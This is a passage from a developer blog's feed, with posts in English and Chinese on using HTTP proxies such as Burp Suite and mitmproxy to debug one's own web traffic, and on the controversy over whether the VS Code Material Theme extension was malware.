variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>如此一來就能用自己熟悉的瀏覽器 debug 了。</p><p>話說 Burp Suite 還有很多其他功能啦，例如說重放請求或是暴力破解等等，不過我覺得一般工程師把它當 proxy 來用就已經幫助很大了。對完整功能有興趣的話可以參考 HackerCat 所寫的 <a href="https://hackercat.org/burp-suite-tutorial/web-pentesting-burp-suite-total-tutorial">Web滲透測試 – Burp Suite 完整教學系列</a>。</p><h3><span id="用-mitmproxy-搭配腳本動態改變內容">用 mitmproxy 搭配腳本動態改變內容</span></h3><p>mitmproxy 的安裝過程我就不多說了，可以參考<a href="https://docs.mitmproxy.org/stable/overview-getting-started/">官方文件</a>或是跟 AI 協作自己裝起來，安裝完之後也記得訪問一下 <code>http://mitm.it</code> 下載並安裝憑證，才能攔截到 HTTPS 的流量。</p><p>都安裝完以後，執行 <code>mitmproxy</code> 就能夠把 proxy 跑起來了，會看到一個 CLI 的介面。</p><p>那既然 Burp Suite 已經很好用了，什麼時候會用到 mitmproxy 呢？它有個好用的功能是可以透過簡單的 Python 腳本去客製化 proxy 的行為，非常方便。</p><p>舉例來說，假設因為某些原因，測試環境無法完全模擬正式環境，但你又不可能直接把 code 上到正式環境去測試。這時就可以用 proxy 動態替換 production 的 response，在本機模擬一些行為。</p><p>雖然 Chrome 也有<a href="https://developer.chrome.com/docs/devtools/override">覆蓋 response</a> 的功能，但限制比較多，例如說內容只能固定等等。我們自己用 proxy 搭配腳本，絕對是更彈性而且自由度更高的選擇。</p><p>底下是一個簡單的 mitm 腳本，目的是把我部落格的 script.js 用本機的來替換：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> mitmproxy <span class="token keyword">import</span> http<span class="token keyword">import</span> requestsURL_MAPPINGS <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"https://blog.huli.tw/js/script.js"</span><span class="token punctuation">:</span> <span class="token string">"http://localhost:5555/script.js"</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>flow<span class="token punctuation">:</span> http<span class="token punctuation">.</span>HTTPFlow<span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token boolean">None</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> url <span class="token keyword">in</span> URL_MAPPINGS<span class="token punctuation">:</span>        <span class="token keyword">if</span> flow<span class="token punctuation">.</span>request<span class="token punctuation">.</span>pretty_url<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>            replacement_url <span class="token operator">=</span> URL_MAPPINGS<span class="token punctuation">[</span>url<span class="token punctuation">]</span>            replacement_response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>replacement_url<span class="token punctuation">)</span>            flow<span class="token punctuation">.</span>response <span class="token operator">=</span> http<span class="token punctuation">.</span>Response<span class="token punctuation">.</span>make<span class="token punctuation">(</span>                <span class="token number">200</span><span class="token punctuation">,</span>                replacement_response<span class="token punctuation">.</span>content<span class="token punctuation">,</span>                 <span class="token punctuation">&#123;</span><span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"application/javascript"</span><span class="token punctuation">&#125;</span>             <span class="token punctuation">)</span>            <span class="token keyword">return</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>用這個指令就可以跑起來：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mitmproxy <span class="token parameter variable">-s</span> proxy.py<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>接著用前面講過的指令打開一個設定好 proxy 的瀏覽器：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>再用瀏覽器訪問 <code>https://blog.huli.tw</code>，就能夠看出 script 的內容已經被替換。</p><h2><span id="結語">結語</span></h2><p>以上就是我平常自己會使用到的一些 proxy 以及使用方法。</p><p>太過依賴於瀏覽器不是件好事，只要瀏覽器沒有顯示，就不知道該怎麼辦。但前端工程師身為第一線，絕對是有辦法拿到整個 request 與 response，才能進一步釐清問題。以後若是碰到瀏覽器上看不到請求的問題，可以試試看使用 proxy 來拿到完整的請求以及響應。</p><p>除了電腦的網頁之外，手機也可以用，可以在 Android 上設定 proxy 連到同個 Wi-Fi 的電腦上，接著在手機上安裝憑證，就能攔截手機的流量。</p><p>最後再講一個小訣竅，在 Mac 的 CLI 執行指令時加上 <code>https_proxy=http://localhost:8080</code> 就能夠配置 proxy，如 <code>https_proxy=http://localhost:8080 cursor .</code>，就可以把 Cursor IDE 的流量都導到 proxy 去。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;身為每天都要與網頁打交道的前端工程師，熟悉 DevTools 的使用是相當合理的。每當接 API 出問題時，就按下快捷鍵打開 DevTools，切到 Network 分頁，找到紅色的那一行，右鍵複製成 cURL 貼到群組裡面，讓後端自己找找問題。&lt;/p&gt;
&lt;p&gt;但不曉得大家有沒有碰過 DevTools 不夠用的狀況，這時該怎麼辦？&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>Everyone Needs an HTTP Proxy for Debugging</title>
    <link href="https://blog.huli.tw/2025/04/23/en/everyone-need-a-http-proxy-to-debug/"/>
    <id>https://blog.huli.tw/2025/04/23/en/everyone-need-a-http-proxy-to-debug/</id>
    <published>2025-04-23T02:50:00.000Z</published>
    <updated>2025-04-23T11:50:02.008Z</updated>
    
    <content type="html"><![CDATA[<p>As a front-end engineer who deals with web pages every day, it is quite reasonable to be familiar with the use of DevTools. Whenever there is an issue with an API, I just press the shortcut to open DevTools, switch to the Network tab, find the red line, right-click to copy it as cURL, and paste it into the group chat for the backend team to troubleshoot.</p><p>But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?</p><span id="more"></span><h2><span id="are-devtools-really-insufficient-is-it-just-that-you-dont-know-how-to-use-them">Are DevTools Really Insufficient? Is It Just That You Don’t Know How to Use Them?</span></h2><p>Let me share a few cases I have encountered. If DevTools can solve the problem, that would be the most convenient, but sometimes I can’t resolve it (it might also be that I just don’t know how to use it). Additionally, the DevTools mentioned below refer specifically to Chrome DevTools; perhaps other browsers do not have these issues.</p><h3><span id="unable-to-see-request-details-before-redirection">Unable to See Request Details Before Redirection</span></h3><p>Many websites that implement OAuth-related services will redirect to a redirect URL after logging in, carrying a code. At this point, some websites will use the code to exchange for an access_token, and then redirect to the next page with the access_token. If there is an issue with the code exchanging for the access_token, how do we debug it?</p><p>Chrome DevTools, when redirecting to another page, will by default clear the console and network data. There is an option called “Preserve log,” and checking it seems to solve the problem, but it actually does not.</p><p>You can randomly find a webpage, open DevTools, check the “Preserve log” option, and then execute the following code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://httpbin.org/user-agent'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> window<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token string">'https://example.com'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>After the redirection is complete, although you can see this request in the Network tab, clicking on it will only show “Failed to load response data”:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p1.png" alt="Unable to See Request"></p><p>This issue has been reported since 2012, and after waiting for over a decade, it was mentioned at the end of 2023 that this would be on the roadmap for 2024, but there has been no movement so far: <a href="https://issues.chromium.org/issues/40254754">DevTools: XHR (and other resources) content not available after navigation.</a>.</p><p>In summary, in this scenario, not being able to see the response makes debugging nearly impossible, which is very inconvenient.</p><h3><span id="unable-to-find-the-cause-of-websocket-connection-handshake-failure">Unable to Find the Cause of WebSocket Connection Handshake Failure</span></h3><p>Although we usually only need one line of code to establish a connection when using WebSocket, it actually involves two steps behind the scenes.</p><p>The first step sends an HTTP Upgrade request, and only after that does it switch to the WebSocket connection. While the first step usually succeeds in most cases, what happens if it fails?</p><p>We can ask AI to write a very simple demo:</p><pre class="line-numbers language-none"><code class="language-none">write a nodejs websocket server with nginx in frontwhen url contains ?debug, nginx should return 500 errorafter websocker connected, server should a a hello message to clientuse docker compose to run it<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After the AI generates it, run it with Docker, and similarly open a webpage to establish a connection. You will find that for the connection request with debug information, you only know it failed, but have no idea why:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p2.png" alt="Unable to Find the Cause"></p><p>This error message is even similar to connecting to a random closed port, leaving you completely clueless as to why it failed, making it difficult to communicate the issue to the backend.</p><p>These are two examples that I remember, but in actual development, there are likely many more. Basically, problems that cannot be resolved by just relying on DevTools to view the Network tab are either invisible or the displayed information is incorrect.</p><h2><span id="simple-and-easy-to-use-http-proxy">Simple and Easy-to-Use HTTP Proxy</span></h2><p>Since we cannot rely on DevTools, we have to depend on lower-level tools, such as an HTTP Proxy! Some tools will set up a proxy on your local machine, allowing all traffic to pass through it, so you can see all requests without being limited by DevTools.</p><p>Moreover, another benefit is that you have a place to cross-reference. If the proxy shows something different from what DevTools displays, it is possible that there is an issue with what DevTools is showing.</p><p>Therefore, I sincerely recommend everyone to find an HTTP Proxy to use. The three that I have personally used are:</p><ol><li><a href="https://www.charlesproxy.com/">Charles</a></li><li><a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></li><li><a href="https://mitmproxy.org/">mitmproxy</a></li></ol><p>When I first got into proxies, I used Charles, but after getting into cybersecurity, I switched to the second one, Burp Suite. It’s actually a tool that can be used for various security-related tests, but I think it’s perfectly fine to just use it as a proxy; it’s very convenient.</p><p>The third one, mitmproxy, is open-source and free, and it’s quite well-known. I occasionally use it, but in a different way, which I’ll discuss later.</p><h3><span id="using-burp-suite-as-a-proxy-app">Using Burp Suite as a Proxy App</span></h3><p>First, download the free community version from the official website: <a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></p><p>After opening it, click Next and then Start Burp, and you’ll see the main screen. You’ll notice it has many features, but for now, let’s switch to the “Proxy” tab and then to the “HTTP history” page:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p3.png" alt="Burp Screen"></p><p>Then click on the very noticeable orange “Open Browser” button, which will open its built-in Chrome browser. You can use this browser to visit any webpage, for example, example.com.</p><p>Next, switch back to the tool, and you’ll find that the HTTP history records all the raw content of requests and responses:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p4.png" alt="Request Records"></p><p>In this way, the redirection cases and WebSocket handshake failures mentioned earlier can be seen here with the original request content, making errors clear at a glance:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p5.png" alt="Raw Content"></p><p>If in the future you encounter some requests that you can’t see, it means they have been filtered out by the default filter. Click on Filter settings, select show all, and then apply, and you should be able to see them.</p><p>(If you encounter issues with insecure connections, you need to install the certificate first. Please refer to: <a href="https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate">Installing Burp’s CA certificate</a>)</p><p>That’s a basic introduction to using Burp Suite as an HTTP Proxy. If you don’t want to use the Chrome it provides, you can also set up your computer or browser’s proxy; it defaults to port 8080.</p><p>For example, I install another Chrome Canary on my Mac specifically for debugging. You can use this command to open it and set the proxy location:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This way, you can debug using your familiar browser.</p><p>By the way, Burp Suite has many other features, such as replaying requests or brute-forcing, but I think it’s already very helpful for general engineers to use it as a proxy. </p><h3><span id="using-mitmproxy-with-scripts-to-dynamically-change-content">Using mitmproxy with Scripts to Dynamically Change Content</span></h3><p>I won’t go into detail about the installation process for mitmproxy; you can refer to the <a href="https://docs.mitmproxy.org/stable/overview-getting-started/">official documentation</a> or collaborate with AI to install it yourself. After installation, remember to visit <code>http://mitm.it</code> to download and install the certificate so that you can intercept HTTPS traffic.</p><p>Once everything is installed, running <code>mitmproxy</code> will start the proxy, and you’ll see a CLI interface.</p><p>Since Burp Suite is already very useful, when would you use mitmproxy? It has a handy feature that allows you to customize the behavior of the proxy through simple Python scripts, which is very convenient.</p><p>For example, suppose for some reason the testing environment cannot fully simulate the production environment, but you cannot directly deploy the code to the production environment for testing. In this case, you can use the proxy to dynamically replace the production response and simulate some behaviors locally.</p><p>Although Chrome also has the <a href="https://developer.chrome.com/docs/devtools/override">override response</a> feature, it has more limitations, such as fixed content, etc. Using a proxy with scripts is definitely a more flexible and higher freedom choice.</p><p>Below is a simple mitm script aimed at replacing the script.js of my blog with the local version:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> mitmproxy <span class="token keyword">import</span> http<span class="token keyword">import</span> requestsURL_MAPPINGS <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"https://blog.huli.tw/js/script.js"</span><span class="token punctuation">:</span> <span class="token string">"http://localhost:5555/script.js"</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>flow<span class="token punctuation">:</span> http<span class="token punctuation">.</span>HTTPFlow<span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token boolean">None</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> url <span class="token keyword">in</span> URL_MAPPINGS<span class="token punctuation">:</span>        <span class="token keyword">if</span> flow<span class="token punctuation">.</span>request<span class="token punctuation">.</span>pretty_url<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>            replacement_url <span class="token operator">=</span> URL_MAPPINGS<span class="token punctuation">[</span>url<span class="token punctuation">]</span>            replacement_response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>replacement_url<span class="token punctuation">)</span>            flow<span class="token punctuation">.</span>response <span class="token operator">=</span> http<span class="token punctuation">.</span>Response<span class="token punctuation">.</span>make<span class="token punctuation">(</span>                <span class="token number">200</span><span class="token punctuation">,</span>                replacement_response<span class="token punctuation">.</span>content<span class="token punctuation">,</span>                 <span class="token punctuation">&#123;</span><span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"application/javascript"</span><span class="token punctuation">&#125;</span>             <span class="token punctuation">)</span>            <span class="token keyword">return</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can run it with this command:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mitmproxy <span class="token parameter variable">-s</span> proxy.py<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Next, use the command mentioned earlier to open a browser configured with a proxy:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Then visit <code>https://blog.huli.tw</code> in the browser, and you will see that the content of the script has been replaced.</p><h2><span id="conclusion">Conclusion</span></h2><p>These are some proxies and usage methods that I commonly use.</p><p>Relying too much on the browser is not a good thing; if the browser does not display anything, you won’t know what to do. However, as front-end engineers on the front line, there are definitely ways to obtain the entire request and response to clarify the issue further. In the future, if you encounter problems where requests are not visible in the browser, you can try using a proxy to capture the complete request and response.</p><p>In addition to web pages on the computer, you can also use it on mobile. You can set up a proxy on Android to connect to the same Wi-Fi as the computer, and then install the certificate on the phone to intercept the mobile traffic.</p><p>Finally, here’s a little tip: when executing commands in the Mac CLI, adding <code>https_proxy=http://localhost:8080</code> will configure the proxy, such as <code>https_proxy=http://localhost:8080 cursor .</code>, which will redirect all traffic from the Cursor IDE to the proxy.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;As a front-end engineer who deals with web pages every day, it is quite reasonable to be familiar with the use of DevTools. Whenever there is an issue with an API, I just press the shortcut to open DevTools, switch to the Network tab, find the red line, right-click to copy it as cURL, and paste it into the group chat for the backend team to troubleshoot.&lt;/p&gt;
&lt;p&gt;But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>VS Code Material Theme 不是惡意軟體——安全的線該畫在哪？</title>
    <link href="https://blog.huli.tw/2025/03/16/vscode-material-theme-is-not-a-malware/"/>
    <id>https://blog.huli.tw/2025/03/16/vscode-material-theme-is-not-a-malware/</id>
    <published>2025-03-16T02:40:00.000Z</published>
    <updated>2025-03-16T09:15:12.854Z</updated>
    
    <content type="html"><![CDATA[<p>應該不少人都有跟到三週前 VS Code 上的知名套件 Material Theme 被微軟主動下架的新聞，那下架的理由是什麼呢？根據你得知這件事的消息來源以及自身個性，可能會有兩種回答：</p><ol><li>它「疑似」含有惡意程式碼</li><li>它就是個惡意軟體</li></ol><p>為什麼跟自身個性有關呢？因為就算消息來源接收到的是第一種，在種種條件的互相加持影響之下，你也很有可能解釋成第二種。</p><span id="more"></span><p>以台灣的消息來源來說，最多人看到的應該是保哥的這篇<a href="https://www.facebook.com/story.php?story_fbid=1060924756061613&id=100064322940906&_rdr">臉書貼文</a>，內文寫著：</p><blockquote><p>微軟緊急下架擁有 900 萬次下載的知名 Material Theme Icons 與 Material Theme Free 擴充套件，這些看似無害的佈景主題擴充被發現暗藏高度混淆的惡意代碼，可能導致大規模開發者帳戶資料外洩！</p><p>🔥<br>事件關鍵點：<br>1️⃣ 網路安全研究員 Amit Assaraf 團隊在例行掃描中發現，這些主題擴展中的 release-notes.js 檔案存在大量混淆過的 JavaScript 程式，其中包含對使用者名稱、密碼等敏感資訊的存取。</p><p>2️⃣ 專家推測這可能是透過 2023 年某次更新植入的供應鏈攻擊，或開發者帳號遭黑客劫持所致。</p><p>微軟不僅下架了所有相關擴充套件，還直接封鎖了開發者 Mattia Astorino (equinusocio) 的帳號，並強制卸載全球使用者端已安裝的擴充套件。這是 VS Marketplace 近三年來最大規模的安全清理行動！👍</p><p>附件連結是 GitHub Issues 討論，非常熱鬧，愛吃瓜的鄉民快去朝聖啊！👨‍💻<br>#還好我不愛Material #供應鏈攻擊 #記得VSCode連網升級一下</p></blockquote><p>內文寫了「被發現暗藏高度混淆的惡意代碼」，直接認定是惡意軟體了。再加上文中附上的其他證據，混淆過的程式碼以及對敏感資訊的存取等等，還主動被微軟下架，不覺得是惡意軟體都難。</p><p>而底下留言附的資安人報導<a href="https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=11684">《資安風險！微軟禁下載量達900萬次的VSCode Material Theme擴充套件》</a> 中，寫的就相對保守一點：</p><blockquote><p>微軟近日從Visual Studio Marketplace中移除了兩個廣受歡迎的VSCode擴充套件：「Material Theme – Free」和「Material Theme Icons – Free」，原因是這些擴充套件被發現可能包含惡意程式碼。</p></blockquote><p>用的字眼是「可能包含惡意程式碼」，就是我所說的第一種。但與上面的貼文類似，報導中還說明有資安團隊發現了可疑的程式碼，又混淆又跟帳號密碼有關。因此，儘管報導本身並沒有明確寫出它就是個惡意軟體，只有寫「可能包含惡意程式碼」，在其他證據的加持下，你或許也會認為它就是個惡意軟體。</p><p>除了這些，言之鑿鑿說 Material Theme 就是個惡意軟體的新聞或是推文也都還有很多，例如說 20 萬人追蹤的 <a href="https://x.com/theo/status/1894661673388314710">@theo</a> 就直接說了：</p><blockquote><p>The Material Theme has just been removed from GitHub and VS Code due to shipping malware</p></blockquote><p>那到底 VS Code 上的 Material Theme 擴充套件是不是惡意軟體呢？先講結論：「不是」。</p><p>那這整件事情的過程到底是如何？為什麼一開始說疑似是惡意軟體，後來又不是了？我們按照時間順序，先從開頭來聊聊吧。</p><h2><span id="事情的開端與下架的理由">事情的開端與下架的理由</span></h2><p>（底下時間都是指台灣時間）</p><p>2025&#x2F;02&#x2F;26 凌晨 01:32，有人在 Material Theme 的 GitHub 上發了一個 issue：<a href="https://web.archive.org/web/20250226020241/https://github.com/material-theme/vsc-material-theme/discussions/1313">This extension was reported to be problematic</a>，內文中提到在 VS Code 中會出現底下的提示：</p><blockquote><p>We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.</p></blockquote><p>證明至少在這個時間點，微軟已經主動把 VS Code 中的 Material theme 移除。過了幾個小時，在 04:39 時，知名的討論區 reddit 中也有人發文討論相同的狀況：<a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">Lost Material Theme</a>。</p><p>到了早上 7 點，Hacker News 上也開始有人討論：<a href="https://news.ycombinator.com/item?id=43178831">Material Theme has been pulled from VS Code’s marketplace </a>。</p><p>大約下午 3 點 40 分的時候，VS Code 的團隊成員 Isidor 出來回覆了：</p><blockquote><p>Hi - Isidor here from the VS Code team.<br>A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.</p><p>We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.</p><p>Expect an announcement here with more details soon <a href="https://github.com/microsoft/vsmarketplace/">https://github.com/microsoft/vsmarketplace/</a></p><p>As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article <a href="https://code.visualstudio.com/docs/editor/extension-runtime-security">https://code.visualstudio.com/docs/editor/extension-runtime-security</a></p><p>Thank you!</p></blockquote><p>大意就是社群中有人對這個套件做了深度的資安分析，找到了多個 red flags 指出這個套件具有惡意的意圖並向微軟回報，而微軟內部的資安研究員也確認了這個發現，並找出其他可疑的程式碼。微軟已經把這個開發者的套件都下架以及把他 ban 掉，並說明這次移除套件的行為與 license 無關（這我們等等談），只跟潛在的可疑意圖有關。</p><p>到了晚上 11 點，有人在 Visual Studio Marketplace 的 GitHub 中開了一個 issue 討論這件事：<a href="https://github.com/microsoft/vsmarketplace/issues/1168">Material theme compromised?</a>，想知道更多的細節。</p><p>而 VS Code Marketplace 的 PM seaniyer 也在 2&#x2F;27 早上 9 點 57 的時候給出了<a href="https://github.com/microsoft/vsmarketplace/issues/1168#issuecomment-2686542068">回覆</a>：</p><blockquote><p>Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.<br>我們對移除決策持謹慎態度，並會徹底驗證所有舉報。為了保護開發者，我們也優先迅速移除確定存在問題的項目。我們已在 RemovedPackages 中發布了移除原因，並計劃未來將所有移除記錄統一發布在該處。</p></blockquote><p><a href="https://github.com/microsoft/vsmarketplace/commit/5d23236b873a96d0da5dc90990e6172341c88b71">RemovedPackages.md</a> 這個檔案是在當天早上 7 點才被建立的，或許代表這是微軟第一次主動把套件下架？</p><p>在文件中寫了被下架的套件是 Equinusocio.vsc-material-theme-icons（另一個相同作者的套件，他有兩個，一個是 Material Theme 另一個是 Material Theme Icons），理由是：</p><blockquote><p>A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes<br>一個主題擴充功能，其程式碼經過高度混淆，並包含不合理的依賴項，例如用於執行 child process 的 utility。</p></blockquote><p>而有一間資安公司 Koi Security，在 2025&#x2F;02&#x2F;27 發布了文章 <a href="https://blog.koi.security/a-wolf-in-dark-mode-the-malicious-vs-code-theme-that-fooled-millions-85ed92b4bd26">A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions</a>，提到了他們在 Material Theme 中找到惡意程式碼，看起來是經由一個 dependency 所引入的：</p><blockquote><p>Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath it’s beautiful color scheme</p><p>Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency</p><p>The malicious code seems to be inside a dependency of the theme, which was compromised.</p></blockquote><p>這裡用的詞是「was found to contain malicious code」，也是直接說了包含惡意程式碼。</p><h2><span id="作者的反駁">作者的反駁</span></h2><p>2&#x2F;28 將近下午 5 點，Material Theme 的作者 @equinusocio 在 Visual Studio Marketplace 的 GitHub 中開了個 issue：<a href="https://github.com/microsoft/vsmarketplace/issues/1173">Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves</a>，大意就是說它的套件裡面沒有惡意程式碼，唯一有的問題是一個太舊的第三方套件：</p><blockquote><p>This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.<br>這個決定毀掉了 10 年來的聲譽和信任，而這一切都基於對混淆程式碼毫無根據的懷疑——只是因為你不喜歡它，儘管並沒有任何危害的證據。唯一的問題是混淆程式碼中存在一個過時的 sanity.io 依賴，而這本可以在 30 秒內修復。</p></blockquote><p>文末也提到如果確認他的套件沒有惡意程式碼，請恢復所有的 extensions 以及公開道歉：</p><blockquote><p>If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.</p></blockquote><h2><span id="material-theme-為什麼會被懷疑">Material Theme 為什麼會被懷疑？</span></h2><p>整理一下上面的論述，會發現 Material Theme 確實幹了這麼幾件事情：</p><ol><li>明明是個 theme，但套件裡有 JavaScript</li><li>具有混淆過的程式碼</li><li>程式碼中有與 username 跟 password 有關的部分</li><li>含有拿來執行 child processes 的 utility</li></ol><p>你問我可不可疑，可疑啊，當然可疑。但如果你問我它是不是惡意程式，我會說不是。</p><p>為什麼不是？因為沒有人給出證據啊。儘管把程式碼混淆確實可疑，但也就只是可疑而已。更何況這個「可疑」的力度在我看來並沒有這麼強。舉例來講，沒有找到跟惡意 server 通信的證據或是可疑的後門等等。</p><p>除此之外，關於混淆這點，如果有了解過情況的話，就會發現早在 2024 年 8 月，Reddit 上就有人發了一篇 <a href="https://www.reddit.com/r/vscode/comments/1eq40o2/has_the_material_theme_extension_been_compromised/?rdt=47469">Has the Material Theme extension been compromised?</a>，說最新的版本含有大量混淆過的程式碼，GitHub 上的歷史紀錄也已經被刪除，問說是發生什麼事了。</p><p>有人說可能跟作者在 8&#x2F;10 發起的這兩個討論有關：</p><ol><li><a href="https://web.archive.org/web/20241230012548/https://github.com/material-theme/vsc-material-theme/discussions/1304">⚠️ Looking for Typescript maintainer ⚠️ </a></li><li><a href="https://web.archive.org/web/20241230040357/https://github.com/material-theme/vsc-material-theme/discussions/1305">Premium extensions</a></li></ol><p>因為作者想把這個套件從開源變成閉源，並且發展收費版，因此才用混淆的方式把一些邏輯藏起來。</p><p>而所謂的「程式碼中有與 username 跟 password 有關的部分」，也很可能是因為某個第三方套件使用了 <a href="https://github.com/unshiftio/url-parse">url-parser</a>，因此這些帳號密碼指的是在解析 URL 時網址上的帳號密碼，而不是什麼偷取你電腦中的敏感資訊。</p><p>至於「拿來執行 child processes 的 utility」，<a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2693242277">有人</a>把程式碼反混淆之後來看，就只是個 build script，沒有執行任何惡意指令。</p><p>（話說上面這兩點我沒有親自驗證，擴充套件的原始碼一直都可以下載，有興趣的人可以親自看看：<a href="https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage">https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage</a> ）</p><p>而 Koi Security 的那篇文章也完全沒有任何明確證據，這邊我的立場跟 <a href="https://andrews.substack.com/p/re-vscode-extension-drama">RE: VSCode Extension Drama</a> 這篇文章的副標題一樣：You can’t run your threat response like a High School clique。</p><p>當然，先撇除 Material Theme 不談，這個作者本身原本就有不少不符合開源精神的行為，這也是為什麼前面提到的微軟聲明中，會說：「For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.」，但因為這些都跟擴充套件是否為惡意軟體這件事無關，所以這邊就不多談了。</p><p>而一開始應該是只有 Material Theme 跟 Material Theme Icons 被下架且移除，但之後作者開了新帳號改名又傳了一次，被發現多次後整個帳號被 ban 掉，這個從 reddit 的<a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">討論串</a>中可以看出來。</p><p>總之呢，這個<a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2692845250"> @r8 